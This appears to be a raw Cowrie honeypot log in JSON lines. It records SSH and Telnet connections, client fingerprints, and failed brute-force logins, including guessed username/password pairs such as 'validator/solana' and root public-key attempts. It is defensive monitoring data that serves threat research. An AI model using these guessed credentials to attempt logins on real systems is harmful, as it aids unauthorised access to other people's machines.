{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:06:44.963259Z","src_ip":"193.32.162.145","session":"16151ae39aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:06:45.275331Z","src_ip":"193.32.162.145","session":"16151ae39aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:06:46.383428Z","src_ip":"193.32.162.145","session":"16151ae39aed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":42226,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d737e563c63","protocol":"telnet","message":"New connection: 180.235.129.180:42226 (10.17.0.5:23) [session: 3d737e563c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:07:20.033365Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":39740,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e18eacef47b","protocol":"ssh","message":"New connection: 190.244.39.224:39740 (10.17.0.5:22) [session: 1e18eacef47b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:07:20.695548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:07:20.701292Z","src_ip":"190.244.39.224","session":"1e18eacef47b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:07:20.903984Z","src_ip":"190.244.39.224","session":"1e18eacef47b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa1234567890@","message":"login attempt [ubuntu/Aa1234567890@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:07:21.737095Z","src_ip":"190.244.39.224","session":"1e18eacef47b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:07:22.934442Z","src_ip":"190.244.39.224","session":"1e18eacef47b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.837024450302124,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:07:30.870265Z","src_ip":"180.235.129.180","session":"3d737e563c63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":46574,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ae37862b006","protocol":"telnet","message":"New connection: 180.235.129.180:46574 (10.17.0.5:23) [session: 6ae37862b006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:18.095135Z"}
{"eventid":"cowrie.session.closed","duration":5.855216026306152,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:23.950246Z","src_ip":"180.235.129.180","session":"6ae37862b006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.221.82","src_port":23160,"dst_ip":"10.17.0.5","dst_port":22,"session":"1040028ba5e0","protocol":"ssh","message":"New connection: 172.110.221.82:23160 (10.17.0.5:22) [session: 1040028ba5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:46.810850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:46.816387Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:46.974712Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:6f:85:9c:5e:71:e0:e2:25:97:3c:36:f2:2a:9c:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeIvq2xxdbQEij7/239H3DEZkLgx8yd2PcXc+dtGzubNa2Zev3QoUnfAUqqhk1ykZfoWByM+ucQifRF9cGIYkxBJT5kUb3sbSSF/s+kPYXgCf9jAKY5HhxSQOdrAyMxqaKh6jv4P2bbq/JKrFjWG34nEeyuqeMG4gXHu7kLRaLsI+Q7vVUXfKUe7WJPwJKupsZeoAfTbDv6Svd7vucUT1l49nnHp6sAniTfGCiRETvqNZJjTeur4MSbN7jkfIYmwT2n8x+JvPMd1XGhKV5HjdROFsxr50gZThv1EwHPlo6lVw6wSY8FBk9p8G+3ygabci+9wtLJ+SYrBEWiDQ4K/1X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:6f:85:9c:5e:71:e0:e2:25:97:3c:36:f2:2a:9c:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:47.734530Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:6f:85:9c:5e:71:e0:e2:25:97:3c:36:f2:2a:9c:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeIvq2xxdbQEij7/239H3DEZkLgx8yd2PcXc+dtGzubNa2Zev3QoUnfAUqqhk1ykZfoWByM+ucQifRF9cGIYkxBJT5kUb3sbSSF/s+kPYXgCf9jAKY5HhxSQOdrAyMxqaKh6jv4P2bbq/JKrFjWG34nEeyuqeMG4gXHu7kLRaLsI+Q7vVUXfKUe7WJPwJKupsZeoAfTbDv6Svd7vucUT1l49nnHp6sAniTfGCiRETvqNZJjTeur4MSbN7jkfIYmwT2n8x+JvPMd1XGhKV5HjdROFsxr50gZThv1EwHPlo6lVw6wSY8FBk9p8G+3ygabci+9wtLJ+SYrBEWiDQ4K/1X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:47.738990Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:07:c6:b9:08:dc:8d:f5:6e:96:6d:15:48:ff:13:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLmSqY8kdN72xCIW9iHkLrtDmfYINiibbAkt+qdNhfUzzBMq31ZbN74TbkXGVMMIY2XJvuPS+U+qRFqIcgokwsrjPXaaJeZTG3TToHip82cm5Z+rcJn+bVEcGK1/UyJ0dI6g7XjrVGuSs6ZUSKrdTKQHn0K2ULvvsGhdwNqLdKi7ZySn5brRCwks0YK6PVfMjQ+ZJ8bC8HOqyCjA7pasXIIRPeOMm0hxa82MpnsKuVgcaguErLFgM3ceALnU6Co10XYGnu1Crv6DxgQxPpUqTz2nFq6h2h/ncKImO+NB4oHqs3zs9uOL27s6rurCBhaX5NyW2VFiZFJQvk67GlR+LH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:07:c6:b9:08:dc:8d:f5:6e:96:6d:15:48:ff:13:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:47.904502Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:07:c6:b9:08:dc:8d:f5:6e:96:6d:15:48:ff:13:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLmSqY8kdN72xCIW9iHkLrtDmfYINiibbAkt+qdNhfUzzBMq31ZbN74TbkXGVMMIY2XJvuPS+U+qRFqIcgokwsrjPXaaJeZTG3TToHip82cm5Z+rcJn+bVEcGK1/UyJ0dI6g7XjrVGuSs6ZUSKrdTKQHn0K2ULvvsGhdwNqLdKi7ZySn5brRCwks0YK6PVfMjQ+ZJ8bC8HOqyCjA7pasXIIRPeOMm0hxa82MpnsKuVgcaguErLFgM3ceALnU6Co10XYGnu1Crv6DxgQxPpUqTz2nFq6h2h/ncKImO+NB4oHqs3zs9uOL27s6rurCBhaX5NyW2VFiZFJQvk67GlR+LH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:47.908274Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:ad:e4:c6:27:ef:7f:e8:c6:c6:73:1f:ed:45:75:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmtmHU0TBNv6pdo40my9QkMrNI5Ilb74jYiTls7/YAEZtWqYSaQ1nATOJLj6Xa4d2YvvpQrtamVUl7EJK/GWi7tRNR55jSJgc3YdqpFgT6a+M8g5WC5JDh36MWvqF5vj9vN/Zh8tFqOqSsdzA9gyw47H1lngVrC+ZbENR0MKDibYCf5C1mZ602QrwgV+PM5OTDDpe4Tn61xbD7o/2zERUuy21PcA4QnxFKGv/xAkwtO9ggJWC3/qFl/Cuh4UOk75iM2kBVFG8J0uJkoYUaMmef5HjqWUbyo4oCkgB8NHoyr/RiEPDvyUcy8ueHNSefShsAmaDe5K0NNvAvKDot0+5X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:ad:e4:c6:27:ef:7f:e8:c6:c6:73:1f:ed:45:75:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:48.065756Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:ad:e4:c6:27:ef:7f:e8:c6:c6:73:1f:ed:45:75:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmtmHU0TBNv6pdo40my9QkMrNI5Ilb74jYiTls7/YAEZtWqYSaQ1nATOJLj6Xa4d2YvvpQrtamVUl7EJK/GWi7tRNR55jSJgc3YdqpFgT6a+M8g5WC5JDh36MWvqF5vj9vN/Zh8tFqOqSsdzA9gyw47H1lngVrC+ZbENR0MKDibYCf5C1mZ602QrwgV+PM5OTDDpe4Tn61xbD7o/2zERUuy21PcA4QnxFKGv/xAkwtO9ggJWC3/qFl/Cuh4UOk75iM2kBVFG8J0uJkoYUaMmef5HjqWUbyo4oCkgB8NHoyr/RiEPDvyUcy8ueHNSefShsAmaDe5K0NNvAvKDot0+5X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:48.069845Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:ed:79:60:c1:b6:97:97:d3:a5:7c:f7:7f:92:84:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGguDNCeJCNWizjbNM3XoXBNJlaX3p6MzW3uTFENqV9icqNajvRGkj5BUGJntlX1sgZn33mv3BkktO6OWJ0HXU971t3O8J4WBD0RsSHgX5gS+Rr/qxTG99kOPfgfgy1YuRFK9Xo6ZnOtTYzjZkR8xA1vA0OVJ7Tct5UlAMpRurC73oKBmtpI31JspJ1jVhHy2Kw16pVs1UAmt7LGjvqAo8ae9jl4DWu85nFxocAH/JNvHIcVp09e0vjLnCSQxUgkR9yq7FMs+kPOqmyivv1UVL8Q3OxsIZuNvZ4aMiVN6l0G4GOnoTEu6+/hDutwBamIVjWYkCbAyZ+iOAzg53S3d9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:ed:79:60:c1:b6:97:97:d3:a5:7c:f7:7f:92:84:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:48.219951Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:ed:79:60:c1:b6:97:97:d3:a5:7c:f7:7f:92:84:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGguDNCeJCNWizjbNM3XoXBNJlaX3p6MzW3uTFENqV9icqNajvRGkj5BUGJntlX1sgZn33mv3BkktO6OWJ0HXU971t3O8J4WBD0RsSHgX5gS+Rr/qxTG99kOPfgfgy1YuRFK9Xo6ZnOtTYzjZkR8xA1vA0OVJ7Tct5UlAMpRurC73oKBmtpI31JspJ1jVhHy2Kw16pVs1UAmt7LGjvqAo8ae9jl4DWu85nFxocAH/JNvHIcVp09e0vjLnCSQxUgkR9yq7FMs+kPOqmyivv1UVL8Q3OxsIZuNvZ4aMiVN6l0G4GOnoTEu6+/hDutwBamIVjWYkCbAyZ+iOAzg53S3d9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:48.223706Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:ae:99:54:47:28:1c:9f:98:e9:3b:d5:c5:4e:c0:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgcvce+D0qIhgEcFdRHMAB02WwUlbl9HrLbo58IZan9rr6UU1PEfHnB4EIa+9Ne21jPIcwscqyAbWnWGLcwj38zpvn56j+tYAhJJZ0bN6qqS/yVwT97vX8FLzWQ0WJZkqn9LOFFhagyBKgFoIiuqPFXKL2TXffdUzfiVTwK5vKTm0+34waz6zJhAZwkifDkI5tum2Ys18zBlX4DAaUMIVe9WZo7DARN2eRPCWBoa9nAVlTGCmrEEaBaJzN02LNYSN5rX31MJRn2QGg/hN1TKJKVcg/EfZwQwt8XSNw6TrLabAbLXKAFZZPLBj7psaAJD/5Q8ORDNw3Nd+CTFDRlubX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:ae:99:54:47:28:1c:9f:98:e9:3b:d5:c5:4e:c0:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:48.375008Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:ae:99:54:47:28:1c:9f:98:e9:3b:d5:c5:4e:c0:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgcvce+D0qIhgEcFdRHMAB02WwUlbl9HrLbo58IZan9rr6UU1PEfHnB4EIa+9Ne21jPIcwscqyAbWnWGLcwj38zpvn56j+tYAhJJZ0bN6qqS/yVwT97vX8FLzWQ0WJZkqn9LOFFhagyBKgFoIiuqPFXKL2TXffdUzfiVTwK5vKTm0+34waz6zJhAZwkifDkI5tum2Ys18zBlX4DAaUMIVe9WZo7DARN2eRPCWBoa9nAVlTGCmrEEaBaJzN02LNYSN5rX31MJRn2QGg/hN1TKJKVcg/EfZwQwt8XSNw6TrLabAbLXKAFZZPLBj7psaAJD/5Q8ORDNw3Nd+CTFDRlubX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:48.381002Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:48.537423Z","src_ip":"172.110.221.82","session":"1040028ba5e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40892,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dae1e2f5e1a","protocol":"ssh","message":"New connection: 193.32.162.145:40892 (159.203.135.109:22) [session: 0dae1e2f5e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:52.536747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:52.541523Z","src_ip":"193.32.162.145","session":"0dae1e2f5e1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:52.642660Z","src_ip":"193.32.162.145","session":"0dae1e2f5e1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"solana","message":"login attempt [validator/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:52.946506Z","src_ip":"193.32.162.145","session":"0dae1e2f5e1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:08:54.050598Z","src_ip":"193.32.162.145","session":"0dae1e2f5e1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":51096,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb100c86bf27","protocol":"telnet","message":"New connection: 180.235.129.180:51096 (10.17.0.5:23) [session: eb100c86bf27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:09:08.792865Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":51094,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb46f02720b6","protocol":"telnet","message":"New connection: 180.235.129.180:51094 (10.17.0.5:23) [session: fb46f02720b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:09:12.347832Z"}
{"eventid":"cowrie.session.closed","duration":6.049715280532837,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:09:18.397410Z","src_ip":"180.235.129.180","session":"fb46f02720b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.8649582862854,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:10:05.657698Z","src_ip":"180.235.129.180","session":"eb100c86bf27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54918,"dst_ip":"159.203.135.109","dst_port":22,"session":"46e3b25d0f64","protocol":"ssh","message":"New connection: 193.32.162.145:54918 (159.203.135.109:22) [session: 46e3b25d0f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:10:56.564874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:10:56.573335Z","src_ip":"193.32.162.145","session":"46e3b25d0f64","protocol":"ssh"}
